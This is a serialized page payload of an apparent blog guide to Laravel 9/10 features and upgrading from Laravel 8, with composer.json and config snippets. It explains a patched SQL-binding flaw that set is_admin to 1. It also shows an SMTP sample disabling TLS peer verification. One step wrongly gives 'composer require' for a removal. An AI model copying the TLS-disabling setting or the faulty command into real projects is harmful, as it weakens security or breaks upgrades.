below:",[438,11294],{"className":11295,"alt":66,"src":11296,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30162343\u002Fenum-768x786.png",[403,11298,11300],{"id":11299},"_3-implicit-route-bindings-with-enums","3. Implicit Route Bindings With Enums:",[11,11302,11303],{},"This feature allows you to bind a request's parameter with an enum. Let's say you declare an enum, and then you are binding it like below. With this binding, any request that passes a value that is not a valid enum will lead to an HTTP 404 response. This is convenient since you no longer have to check it in controllers:",[438,11305],{"className":11306,"alt":66,"src":11307,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30162513\u002Froute-enum-768x360.png",[403,11309,11311],{"id":11310},"_4-forced-scoping-of-route-bindings","4. Forced Scoping Of Route Bindings:",[11,11313,11314],{},"In previous releases of Laravel, you can scope the second Eloquent model in a route definition such that it must be a child of the previous Eloquent model. For example, consider this route definition that retrieves a blog post by slug for a specific user:",[438,11316],{"className":11317,"alt":66,"src":11318,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30162851\u002Fscope-biding-1-768x195.png",[11,11320,11321,11322,11327],{},"When you declare the route as above, Laravel will try to determine the foreign key base on the predefined set of rules called conventions. But first, you must define the ",[55,11323,11326],{"href":11324,"rel":11325},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Frouting#implicit-model-binding-scoping",[59],"custom key binding"," for :slug; otherwise, Laravel will not acknowledge that there is a second model binding required.",[11,11329,11330,11331,11334],{},"However, in the newer version, you only have to invoke the ",[51,11332,11333],{},"scopeBindings()",", and it works the same:",[438,11336],{"className":11337,"alt":66,"src":11338,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163001\u002Fscope-biding-2-1024x443.png",[403,11340,11342],{"id":11341},"_5-controller-route-groups","5. Controller Route Groups:",[11,11344,11345],{},"You can now group routes by a controller like the one below:",[438,11347],{"className":11348,"alt":66,"src":11349,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163135\u002Fcontroller-route-gr-768x171.png",[403,11351,11353],{"id":11352},"_6-full-text-indexes-where-clauses","6. Full-Text Indexes \u002F Where Clauses:",[11,11355,11356,11357,11360],{},"You could use new methods like ",[51,11358,11359],{},"whereFullText(), orWhereFullText()"," to perform full-text search query:",[438,11362],{"className":11363,"alt":66,"src":11364,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163247\u002Ffull-text-search.png",[403,11366,11368],{"id":11367},"_7-laravel-scout-database-engine","7. Laravel Scout Database Engine:",[11,11370,11371],{},"The main purpose of Laravel Scout is to simplify the full-text search process of your project. It is a driver-based solution so that you can work with many different engines, such as Elasticsearch, Algolia, MeiliSearch, and MySQL. PostgreSQL,... using the Scout API.",[11,11373,11374],{},"The idea is to make a search() method available to use for your Eloquent model. Also, it automatically performs indexing when the data is written. Keep in mind that the search() method is not supported complex queries like Elasticsearch DSL; therefore, Scout is only suitable for small or medium projects. Have a look at the below snippet:",[438,11376],{"className":11377,"alt":66,"src":11378,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163504\u002Fscout-768x279.png",[403,11380,11382],{"id":11381},"_8-rendering-inline-blade-templates","8. Rendering Inline Blade Templates:",[11,11384,11385],{},"Instead of defining your template in a .blade.php file, you can simply render it within a call to Blade::render(). This is very useful when you need to make an AJAX call to retrieve a partial view for your SPA application.",[438,11387],{"className":11388,"alt":66,"src":11389,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163626\u002Finline-blade-768x279.png",[403,11391,11393],{"id":11392},"_9-slot-name-shortcut","9. Slot Name Shortcut:",[11,11395,11396],{},"In previous releases of Laravel, slot names were provided using a name attribute on the x-slot tag. However, beginning in Laravel 9.x, you may specify the slot's name using a convenient, shorter syntax:",[438,11398],{"className":11399,"alt":66,"src":11400,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163803\u002Fslot-name.png",[403,11402,11404],{"id":11403},"_10-improved-validation-of-nested-array-data","10. Improved Validation Of Nested Array Data:",[11,11406,11407,11408,11411],{},"Sometimes you may need to access the value for a given nested array element when assigning validation rules to the attribute. You may now accomplish this using the ",[51,11409,11410],{},"Rule::forEach()"," method.",[438,11413],{"className":11414,"alt":66,"src":11415,"style":1894},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F30163940\u002Fvalidation-ar-768x255.png",[403,11417,11419],{"id":11418},"_11-laravel-breeze-api-nextjs","11. Laravel Breeze API & Next.js:",[11,11421,7705,11422,11427,11428,11433],{},[55,11423,11426],{"href":11424,"rel":11425},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Fstarter-kits#breeze-and-next",[59],"Laravel Breeze"," starter kit has received an \"API\" scaffolding mode and complimentary ",[55,11429,11432],{"href":11430,"rel":11431},"https:\u002F\u002Fgithub.com\u002Flaravel\u002Fbreeze-next",[59],"Next.js frontend implementation",". This starter kit scaffolding may be used to jump-start your Laravel applications that are serving as a backend, Laravel Sanctum authenticated API for a JavaScript frontend.",[403,11435,11437],{"id":11436},"_12-bundling-with-vite","12. Bundling with Vite:",[11,11439,11440,11441,11446,11447,878],{},"Besides new features, bundling your project assets in Laravel is now migrated from using ",[55,11442,11445],{"href":11443,"rel":11444},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fmix#main-content",[59],"Mix webpack"," to Vite. You can check it at the official docs of Laravel ",[55,11448,1153],{"href":11449,"rel":11450},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fvite#main-content",[59],[403,11452,11454],{"id":11453},"_13-improved-ignition-exception-page","13. Improved Ignition Exception Page:",[11,11456,11457],{},"The exception debug page has been redesigned from the ground up. The new, improved will help you debug easier and more efficiently:",[438,11459],{"className":11460,"alt":66,"src":11461,"style":1894},[441,442],"https:\u002F\u002Fuser-images.githubusercontent.com\u002F483853\u002F149235404-f7caba56-ebdf-499e-9883-cac5d5610369.png",[11,11463,11232,11465,8178],{"className":11464},[2463,2464,2465,2466,2467],[55,11466,11469],{"href":11467,"target":11236,"rel":11468},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Freleases#exception-page",[11238,11239],"\n    https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Freleases#exception-page\n  ",[11261,11471],{},[395,11473,11475],{"id":11474},"vulnerabilities-in-security-that-are-covered-by-the-newer-version","Vulnerabilities in security that are covered by the newer version:",[565,11477,11479],{"id":11478},"blocking-of-the-upload-of-phar-content","Blocking of the upload of .phar content:",[11,11481,11482,11483,11486,11487,878],{},"When you upload executable PHP files, they are blocked by Laravel for security purposes, including ",[612,11484,11485],{},"'.php', '.php3', '.php4', '.php5', '.php7', '.php8', '.phtml'"," files. And Laravel has now included the missing extension ",[612,11488,11489],{},"'.phar'",[565,11491,11493],{"id":11492},"sql-injection-in-sql-server","SQL Injection in SQL Server:",[11,11495,11496,11497,11500],{},"Laravel has now covered a vulnerability that opens for SQL Injection attacks when passing user input directly to the ",[612,11498,11499],{},"limit() and offset()"," functions of SQL Server (Other database drivers such as MySQL and Postgres are not affected by this vulnerability).",[565,11502,11504],{"id":11503},"sql-injection-binding-query-parameter-using-an-array","SQL Injection - Binding query parameter using an array:",[11,11506,11507,11508,11511,11512,11514,11515,11518,11519,11522,11523,11411],{},"The below code has a vulnerability that could lead to a SQL Injection attack. Because the binding value of ",[612,11509,11510],{},"is_admin"," would-be ",[612,11513,308],{}," instead ",[612,11516,11517],{},"0",". This happens due to the false binding when passing an array ",[612,11520,11521],{},"$value = [1,1]"," to the ",[612,11524,11525],{},"where()",[605,11527,11530],{"className":11528,"code":11529,"language":610},[608],"User::where('id', [1,1])->where('is_admin', 0)->first();\n\u002F\u002F sql: select * from `users` where `id` = 1 and `is_admin` = 1\n",[612,11531,11529],{"__ignoreMap":66},[11,11533,11534],{},"But this has now been covered in the update. The query string will now be like this:",[605,11536,11539],{"className":11537,"code":11538,"language":610},[608],"\u002F\u002F sql: select * from `users` where `id` = 1 and `is_admin` = 0\n",[612,11540,11538],{"__ignoreMap":66},[11261,11542],{},[11,11544,11545],{},"In the above section, we have talked about Laravel 9 and Laravel 10 new features, and the security vulnerabilities are covered. Next, let us show you how to upgrade your Laravel project from version 8 to 10.",[11261,11547],{},[395,11549,11551],{"id":11550},"migrate-your-project-from-laravel-8-to-laravel-10",[20,11552,11553],{},"Migrate your project from Laravel 8 to Laravel 10:",[403,11555,11557],{"id":11556},"upgrade-to-php-810-composer-220","Upgrade to PHP 8.1.0 & Composer 2.2.0:",[11,11559,11560],{},"Since Laravel 10 requires at least PHP 8.1.0, you must upgrade to PHP 8.1.0. Also, you must upgrade Composer to 2.2.0 or greater. This is a very crucial step. You must complete it before proceeding to the next section.",[403,11562,11564],{"id":11563},"make-changes-to-your-dependencies-in-composerjson","Make changes to your dependencies in composer.json:",[565,11566,11568],{"id":11567},"a-packages-version-upgrade",[20,11569,11570],{},"a. Packages version upgrade:",[11,11572,11573],{},"Below are packages that need to update to newer versions. Follow the instruction to update them.",[11,11575,11576,11577,11580],{},"In your ",[51,11578,11579],{},"composer.json",", change the version of these items as the following:",[605,11582,11585],{"className":11583,"code":11584,"language":610},[608],"{\n  \"require\": {\n    \"php\": \"^8.1\",\n    \"laravel\u002Fframework\": \"^10.0\",\n    \"laravel\u002Fsanctum\": \"^3.2\",\n    \"doctrine\u002Fdbal\": \"^3.0\",\n    \"laravel\u002Fpassport\": \"^11.0\"\n  },\n  \"require-dev\": {\n    \"nunomaduro\u002Fcollision\": \"^6.1\",\n    \"spatie\u002Flaravel-ignition\": \"^2.0\"\n  }\n}\n",[612,11586,11584],{"__ignoreMap":66},[11,11588,11589,11590,11595],{},"If your project uses the ",[55,11591,11594],{"href":11592,"rel":11593},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fbroadcasting#pusher-channels",[59],"Broadcasting"," feature, you must also change this item version:",[605,11597,11600],{"className":11598,"code":11599,"language":610},[608],"{\n  \"require\": {\n    \"pusher\u002Fpusher-php-server\": \"^5.0\"\n  }\n}\n",[612,11601,11599],{"__ignoreMap":66},[11,11603,11604,11605,11610],{},"If you use the S3, FTP, or SFTP drivers through ",[55,11606,11609],{"href":11607,"rel":11608},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Ffilesystem#main-content",[59],"Storage",", you must also change this item version:",[605,11612,11615],{"className":11613,"code":11614,"language":610},[608],"{\n  \"require\": {\n    \"league\u002Fflysystem-aws-s3-v3\": \"^3.0\",\n    \"league\u002Fflysystem-ftp\": \"^3.0\",\n    \"league\u002Fflysystem-sftp-v3\": \"^3.0\"\n  }\n}\n",[612,11616,11614],{"__ignoreMap":66},[11,11618,11619,11620,11623,11624,11627,11628,11631,11632,11634],{},"Furthermore, if you wish to use PHPUnit 10, you should delete the ",[612,11621,11622],{},"processUncoveredFiles=\"true\""," attribute from the ",[612,11625,11626],{},"\u003Ccoverage>"," section of your application's ",[51,11629,11630],{},"phpunit.xml"," configuration file. Then, update the following dependencies in your application's ",[51,11633,11579],{}," file:",[605,11636,11639],{"className":11637,"code":11638,"language":610},[608],"{\n  \"require-dev\": {\n    \"nunomaduro\u002Fcollision\": \"^7.0\",\n    \"phpunit\u002Fphpunit\": \"^10.0\"\n  }\n}\n",[612,11640,11638],{"__ignoreMap":66},[565,11642,11644],{"id":11643},"b-removed-packages",[20,11645,11646],{},"b. Removed packages:",[11,11648,11649],{},"These packages are no longer required or used, so you should remove it.",[11,11651,11652],{},[20,11653,11654],{},"Trusted Proxies:",[11,11656,11576,11657,11660],{},[51,11658,11659],{},"app\u002FHttp\u002FMiddleware\u002FTrustProxies.php"," file, update",[11,11662,11663],{},[612,11664,11665],{},"use Fideloper\\Proxy\\TrustProxies as Middleware;",[11,11667,11668],{},"to this",[11,11670,11671],{},[612,11672,11673],{},"use Illuminate\\Http\\Middleware\\TrustProxies as Middleware;",[11,11675,11676,11677,11679],{},"Next, in ",[51,11678,11659],{},", you should update the $headers property definition:",[605,11681,11684],{"className":11682,"code":11683,"language":610},[608],"\u002F\u002F Before...\nprotected $headers = Request::HEADER_X_FORWARDED_ALL;\n\u002F\u002F After...\nprotected $headers =\n    Request::HEADER_X_FORWARDED_FOR |\n    Request::HEADER_X_FORWARDED_HOST |\n    Request::HEADER_X_FORWARDED_PORT |\n    Request::HEADER_X_FORWARDED_PROTO |\n    Request::HEADER_X_FORWARDED_AWS_ELB;\n",[612,11685,11683],{"__ignoreMap":66},[11,11687,11688,11689,11692],{},"Finally, you can remove the ",[51,11690,11691],{},"fideloper\u002Fproxy"," from your application:",[605,11694,11697],{"className":11695,"code":11696,"language":610},[608],"{\n  \"require\": {\n    \u002F\u002F Remove this package\n    \"fideloper\u002Fproxy\": \"^4.4\"\n  }\n}\n",[612,11698,11696],{"__ignoreMap":66},[11,11700,11701],{},[20,11702,11703],{},"Fruitcake\u002Flaravel-cors:",[11,11705,11706,11711,11712,11715],{},[55,11707,11710],{"href":11708,"rel":11709},"https:\u002F\u002Fpackagist.org\u002Fpackages\u002Ffruitcake\u002Flaravel-cors",[59],"This package"," is no longer maintained. And in Laravel 10, it is removed. First, in the ",[51,11713,11714],{},"app\\Http\\Kernel.php,"," you must change the namespace of HandleCors middleware.",[11,11717,11718],{},[612,11719,11720],{},"\\Fruitcake\\Cors\\HandleCors::class",[11,11722,11723],{},"to",[11,11725,11726],{},[612,11727,11728],{},"\\Illuminate\\Http\\Middleware\\HandleCors::class",[11,11730,11731],{},"Then, remove it from composer.json:",[605,11733,11736],{"className":11734,"code":11735,"language":610},[608],"{\n  \"require\": {\n    \u002F\u002F Remove this package\n    \"fruitcake\u002Flaravel-cors\": \"^2.0\"\n  }\n}\n",[612,11737,11735],{"__ignoreMap":66},[565,11739,11741],{"id":11740},"c-packages-replacement",[20,11742,11743],{},"c. Packages Replacement:",[11,11745,11746],{},"Switch these items with their replacement in composer.json.",[605,11748,11751],{"className":11749,"code":11750,"language":610},[608],"{\n  \"require-dev\": {\n    \u002F\u002F Replace this\n    \"facade\u002Fignition\": \"^2.5\"\n    \u002F\u002F With this\n    \"spatie\u002Flaravel-ignition\": \"^1.0\"\n  }\n}\n",[612,11752,11750],{"__ignoreMap":66},[11,11754,11755,11756,11761,11762,712],{},"For the ",[55,11757,11760],{"href":11758,"rel":11759},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fnotifications#sms-notifications",[59],"Laravel SMS Notifications"," feature, you must be aware that Nexmo is now acquired by Vonage. Therefore, make changes to your ",[51,11763,11579],{},[605,11765,11768],{"className":11766,"code":11767,"language":610},[608],"{\n  \"require\": {\n    \u002F\u002F Replace this\n    \"laravel\u002Fnexmo-notification-channel\": \"^2.0\"\n    \u002F\u002F With this\n    \"laravel\u002Fvonage-notification-channel\": \"^3.0\"\n  }\n}\n",[612,11769,11767],{"__ignoreMap":66},[565,11771,11773],{"id":11772},"d-swift-mailer-is-replaced-with-symfony-mailer",[20,11774,11775],{},"d. Swift Mailer is replaced with Symfony Mailer:",[11,11777,11778,11779,11782],{},"One of the largest changes in Laravel 9.x is the transition from ",[20,11780,11781],{},"SwiftMailer",", which is no longer maintained as of December 2021, to Symfony Mailer. To upgrade, run the following command:",[605,11784,11787],{"className":11785,"code":11786,"language":610},[608],"composer remove wildbit\u002Fswiftmailer-postmark\ncomposer require symfony\u002Fmailgun-mailer symfony\u002Fpostmark-mailer symfony\u002Fhttp-client\n",[612,11788,11786],{"__ignoreMap":66},[403,11790,11792],{"id":11791},"run-composer-update","Run \"composer update\":",[11,11794,11795,11796,11798],{},"After making all changes to the ",[51,11797,11579],{},", run the \"composer update\" command. Be aware that all the above packages are just for Laravel basis, so you must also upgrade your project's other dependencies (if required). If you don't upgrade them, they will conflict with Laravel dependencies.",[11,11800,11801],{},"When you have successfully run the command, next, you need to refactor your source code to remove deprecated features so that your project can normally function. Finally, you might want to consider using new features or applying features that changed in the new version of Laravel.",[403,11803,11805],{"id":11804},"configuration-changes","Configuration changes:",[11,11807,11576,11808,11811],{},[51,11809,11810],{},"config\u002Fdatabase.php",", change the 'schema' to 'search_path' for Postgres database configuration:",[605,11813,11816],{"className":11814,"code":11815,"language":610},[608],"'connections' => [\n  'pgsql' => [\n    \u002F\u002F replace this\n    'schema' => 'public',\n    \u002F\u002F by this\n    'search_path' => 'public',\n  ]\n]\n",[612,11817,11815],{"__ignoreMap":66},[11,11819,11820,11821,712],{},"If you are using SFTP through Laravel Storage, in your ",[51,11822,11823],{},"config\u002Ffilesystems.php",[605,11825,11828],{"className":11826,"code":11827,"language":610},[608],"'sftp' => [\n  \u002F\u002F Replace this         \n  'password' => env('SFTP_PASSPHRASE'),\n  \u002F\u002F By this\n  'passphrase' => env('SFTP_PASSPHRASE'),\n]\n",[612,11829,11827],{"__ignoreMap":66},[11,11831,11832,11833,11836,11837,11840],{},"Defining ",[612,11834,11835],{},"stream"," options for the SMTP is no longer supported. Instead, you must define the relevant options directly within the configuration if they are supported. For example, to disable TLS peer verification, you can follow the below configuration. Also, notice that ",[612,11838,11839],{},"auth_mode"," is commented out since this is no longer available in Laravel's new version.",[605,11842,11845],{"className":11843,"code":11844,"language":610},[608],"'smtp' => [\n  \u002F\u002F 'auth_mode' => null,\n\n  \u002F\u002F Laravel 8.x...\n  'stream' => [\n      'ssl' => [\n          'verify_peer' => false,\n      ],\n  ],\n  \u002F\u002F Laravel 9.x...\n  'verify_peer' => false,\n]\n",[612,11846,11844],{"__ignoreMap":66},[403,11848,11850],{"id":11849},"directories-structure-changes","Directories structure changes:",[11,11852,11853],{},"In new Laravel applications, the resources\u002Flang directory is now located in the root project directory (lang). If you've been hardcode the lang directory, you must update it. You should use app()->langPath() instead of a hard-coded path.",[11261,11855],{},[395,11857,11859],{"id":11858},"refactor-your-code","Refactor your code:",[11,11861,11862],{},"There are breaking changes and deprecated features that are required to make changes in the source code when upgrading to Laravel 10. You don't have to change the code for every feature list below because it depends on whether the feature is used by your project.",[403,11864,11866],{"id":11865},"removed-functions","Removed functions:",[11,11868,11869],{},"These functions exist in Laravel 8 but are no longer available in Laravel's newer version. So you need to search for all of them in your source code, then fix it manually.",[11,11871,11872,11879,11880,11883,11884,11887,11888,11891,11892,878],{},[20,11873,11874],{},[55,11875,11878],{"href":11876,"rel":11877},"https:\u002F\u002Flaravel.com\u002Fapi\u002F8.x\u002FIlluminate\u002FSupport\u002FTraits\u002FEnumeratesValues.html",[59],"EnumeratesValues Trait:"," the ",[51,11881,11882],{},"reduceWithKeys()"," method is removed, so you might use ",[51,11885,11886],{},"reduce()"," method instead. And the ",[51,11889,11890],{},"reduceMany()"," method has been renamed to ",[51,11893,11894],{},"reduceSpread()",[11,11896,11897,11904,11905,11908,11909,11911],{},[20,11898,11899],{},[55,11900,11903],{"href":11901,"rel":11902},"https:\u002F\u002Flaravel.com\u002Fapi\u002F8.x\u002FIlluminate\u002FDatabase\u002FSchema\u002FBuilder.html#method_registerCustomDoctrineType",[59],"Illuminate\\Database\\Schema\\Builder::registerCustomDoctrineType()"," method has been removed. You may use the ",[51,11906,11907],{},"registerDoctrineType()"," method on the DB facade instead or register custom Doctrine types in the ",[51,11910,11810],{}," configuration file.",[11,11913,11914,11917],{},[20,11915,11916],{},"Testing:"," All assertDeleted() method calls should be updated to assertModelMissing().",[11,11919,11920,11879,11923,1017,11928,11931,11932,11937],{},[20,11921,11922],{},"Queue:",[55,11924,11927],{"href":11925,"rel":11926},"https:\u002F\u002Flaravel.com\u002Fapi\u002F9.x\u002FIlluminate\u002FBus\u002FDispatcher.html#method_dispatchNow",[59],"Bus::dispatchNow()",[51,11929,11930],{},"dispatch_now()"," methods have been removed. Instead, your application should use the ",[55,11933,11936],{"href":11934,"rel":11935},"https:\u002F\u002Flaravel.com\u002Fapi\u002F10.x\u002FIlluminate\u002FBus\u002FDispatcher.html#method_dispatchSync",[59],"Bus::dispatchSync()"," and dispatch_sync() methods, respectively.",[11,11939,11940,11948,11949,878],{},[20,11941,7705,11942,11947],{},[55,11943,11946],{"href":11944,"rel":11945},"https:\u002F\u002Flaravel.com\u002Fapi\u002F9.x\u002FIlluminate\u002FRouting\u002FRedirector.html#method_home",[59],"Redirect::home()"," method"," has been removed. Instead, your application should redirect to an explicitly named route: ",[612,11950,11951],{},"return Redirect::route('home')",[403,11953,11955,11956],{"id":11954},"deprecated-blade-lazy-collections-the-loop-variable","[Deprecated] - Blade - ",[20,11957,11958],{},"Lazy Collections & The $loop Variable:",[605,11960,11963],{"className":11961,"code":11962,"language":610},[608],"@php\n    use App\\Models\\Car;\n    $cars = Car::cursor();  \u002F\u002F cars lazy collection\n    foreach($cars as $c) {\n        echo $loop->iteration;\n    }\n@endphp\n",[612,11964,11962],{"__ignoreMap":66},[11,11966,11967],{},"In the above snippet, you are trying to use $loop var in a LazyCollection. This is no longer suporrted. This doesn't mean that the $loop var is removed, but you should not use it with LazyCollection because it causes the entire Collection to be loaded into memory (that is not how LazyCollection is supposed to be).",[403,11969,11971],{"id":11970},"removed-storage","[Removed] - Storage:",[11,11973,11974,11975,11980],{},"Storage - Flysystem no longer supports ",[55,11976,11979],{"href":11977,"rel":11978},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F8.x\u002Ffilesystem#composer-packages",[59],"cached-adapters"," feature. You should remove it using the composer command:",[605,11982,11985],{"className":11983,"code":11984,"language":610},[608],"composer require league\u002Fflysystem-cached-adapter\n",[612,11986,11984],{"__ignoreMap":66},[403,11988,11990],{"id":11989},"removed-get-db-expression-string-value","[Removed] Get DB Expression string value:",[11,11992,11993,11994,11999],{},"In the previous version, you might do this to get the ",[55,11995,11998],{"href":11996,"rel":11997},"https:\u002F\u002Flaravel.com\u002Fapi\u002F9.x\u002FIlluminate\u002FDatabase\u002FQuery\u002FExpression.html",[59],"Expression"," string:",[605,12001,12004],{"className":12002,"code":12003,"language":610},[608],"$expression = DB::raw('select * from news');\n$expStr = (string)$expression;\n",[612,12005,12003],{"__ignoreMap":66},[11,12007,12008],{},"But that is no longer supported, instead:",[605,12010,12013],{"className":12011,"code":12012,"language":610},[608],"$expStr = $expression->getValue(DB::connection()->getQueryGrammar());\n",[612,12014,12012],{"__ignoreMap":66},[403,12016,12018],{"id":12017},"removed-eloquent-models-date-property","[Removed] Eloquent model's $date property:",[11,12020,12021],{},"The Eloquent model's deprecated $dates property has been removed.",[605,12023,12026],{"className":12024,"code":12025,"language":610},[608],"protected $dates = [\n    'deployed_at'\n];\n",[612,12027,12025],{"__ignoreMap":66},[11,12029,12030],{},"Your application should now use the $casts property:",[605,12032,12035],{"className":12033,"code":12034,"language":610},[608],"protected $casts = [\n    'deployed_at' => 'datetime',\n];\n",[612,12036,12034],{"__ignoreMap":66},[403,12038,12040],{"id":12039},"removed-testing-service-mocking","[Removed] Testing - Service Mocking:",[11,12042,12043,12044,12049,12050,12053,12054,12057,12058,12063],{},"The deprecated ",[55,12045,12048],{"href":12046,"rel":12047},"https:\u002F\u002Flaravel.com\u002Fapi\u002F9.x\u002FIlluminate\u002FFoundation\u002FTesting\u002FConcerns\u002FMocksApplicationServices.html",[59],"MocksApplicationServices trait"," has been removed from the framework. This trait provided testing methods such as ",[612,12051,12052],{},"expectsEvents(), expectsJobs(), and expectsNotifications()",". If your application uses these methods, we recommend transitioning to ",[612,12055,12056],{},"Event::fake, Bus::fake, and Notification::fake",", respectively. You can learn ",[55,12059,12062],{"href":12060,"rel":12061},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Fmocking",[59],"more about mocking"," via fakes in the corresponding documentation for the component you are attempting to fake.",[403,12065,12067],{"id":12066},"changed-validation-the-password-rule","[Changed] Validation - the 'password' Rule:",[11,12069,12070,12075,12076,878],{},[55,12071,12074],{"href":12072,"rel":12073},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fvalidation#rule-password",[59],"The password rule"," validates that the given input value matches the authenticated user's current password and has been renamed to ",[55,12077,12080],{"href":12078,"rel":12079},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fvalidation#rule-current-password",[59],"current_password",[403,12082,12084],{"id":12083},"changed-blade-avoid-overwriting-vue-snippet","[Changed] Blade - Avoid overwriting Vue snippet:",[11,12086,12087,12088,12093,12094,878],{},"Laravel 9 comes with ",[55,12089,12092],{"href":12090,"rel":12091},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fblade#additional-attributes",[59],"new blade directives"," @diabled, @checked, and @selected that will overwrite your Vue directives. Therefore, to escape it, you must replace them with escaped ones ",[612,12095,12096],{},"@@disabled, @@checked, @@selected",[403,12098,12100],{"id":12099},"changed-collections","[Changed] - Collections:",[11,12102,12103],{},"You can now pass a closure as the first argument into Collection::when(), unless(). In the previous version, the first argument is always treated as a value and will not be executed. Now you can do this.",[605,12105,12108],{"className":12106,"code":12107,"language":610},[608],"$collection->when(function ($collection) {\n  \u002F\u002F This closure is executed...\n  return false;\n}, function ($collection) {\n  \u002F\u002F Not executed since first closure returned \"false\"...\n  $collection->merge([1, 2, 3]);\n});\n",[612,12109,12107],{"__ignoreMap":66},[403,12111,12113],{"id":12112},"changed-eloquent-custom-cast-with-a-null-value","[Changed] - Eloquent - custom cast with a null value:",[11,12115,12116,12117,12122,12123,12126],{},"In Laravel 8, ",[55,12118,12121],{"href":12119,"rel":12120},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Feloquent-mutators#defining-a-mutator",[59],"the mutator set() method"," won't be executed when ",[612,12124,12125],{},"$value = null",". But in Laravel 9, it will be executed. Due to this change, the result of the below snippet is totally different:",[605,12128,12131],{"className":12129,"code":12130,"language":610},[608],"\u002F\u002F In App\\Casts\\FilenameWithTimestamp.php\npublic function set($model, $key, $value, $attributes) {\n  return time() . '_' . $value;\n}\n\n\u002F\u002F In App\\Models\\File.php\nprotected $casts = [\n  'filename' => FilenameWithTimestamp::class\n];\n\n\u002F\u002F Somewhere in your program\n\u002F\u002F With Laravel 8, the result of the echo statement will be: null\n\u002F\u002F With Laravel 9, the result of the echo statement will be: \"20230322_\"\n$file = File::first();\n$file->filename = null;\necho $file->filename;\n\n",[612,12132,12130],{"__ignoreMap":66},[11,12134,12135],{},"As you can see, it makes no sense the filename got prefixed with a timestamp even when it was set to null. So, in Laravel 9, you must handle \"the null case\" for all of your custom casts. E.g.:",[605,12137,12140],{"className":12138,"code":12139,"language":610},[608],"\u002F\u002F In App\\Casts\\FilenameWithTimestamp.php\npublic function set($model, $key, $value, $attributes) {\n  if (empty($value)) {\n    return '';\n  }\n  return time() . '_' . $value;\n}\n",[612,12141,12139],{"__ignoreMap":66},[11,12143,12144],{},"Now it works as expected.",[403,12146,12148],{"id":12147},"changed-storage-throw-exception-behavior","[Changed] Storage - Throw exception behavior:",[11,12150,12151],{},"Previously, Laravel will throw exceptions for failure operations such as reading or deleting unexisting files. But in the newer version, Laravel simply returns the appropriate result, such as false, null, or true,... This change could make an impact on your program if you've been using the try-catch block to handle the failures. Therefore, you either config to the default behavior (like below) or just refactor your code to check for failures (e.g., using if-else block)",[605,12153,12156],{"className":12154,"code":12155,"language":610},[608],"'public' => [\n  'driver' => 'local',\n  \u002F\u002F ...\n  'throw' => true,\n]\n",[612,12157,12155],{"__ignoreMap":66},[403,12159,12161],{"id":12160},"changed-storage-custom-filesystems","[Changed] Storage - Custom Filesystems:",[11,12163,12164],{},"Slight changes have been made to the steps required to register custom filesystem drivers. Therefore, if you were defining your own custom filesystem drivers or using packages that define custom drivers, you should update your code and dependencies.",[11,12166,12167],{},"For example, in Laravel 8.x, a custom filesystem driver might be registered like so:",[605,12169,12172],{"className":12170,"code":12171,"language":610},[608],"use Illuminate\\Support\\Facades\\Storage;\nuse League\\Flysystem\\Filesystem;\nuse Spatie\\Dropbox\\Client as DropboxClient;\nuse Spatie\\FlysystemDropbox\\DropboxAdapter;\n\nStorage::extend('dropbox', function ($app, $config) {\n    $client = new DropboxClient(\n        $config['authorization_token']\n    );\n\n    return new Filesystem(new DropboxAdapter($client));\n});\n",[612,12173,12171],{"__ignoreMap":66},[11,12175,12176],{},"However, in Laravel 9.x, the callback given to the Storage::extend method should return an instance of Illuminate\\Filesystem\\FilesystemAdapter directly:",[605,12178,12181],{"className":12179,"code":12180,"language":610},[608],"use Illuminate\\Filesystem\\FilesystemAdapter;\nuse Illuminate\\Support\\Facades\\Storage;\nuse League\\Flysystem\\Filesystem;\nuse Spatie\\Dropbox\\Client as DropboxClient;\nuse Spatie\\FlysystemDropbox\\DropboxAdapter;\n\nStorage::extend('dropbox', function ($app, $config) {\n    $adapter = new DropboxAdapter(\n        new DropboxClient($config['authorization_token'])\n    );\n\n    return new FilesystemAdapter(\n        new Filesystem($adapter, $config),\n        $adapter,\n        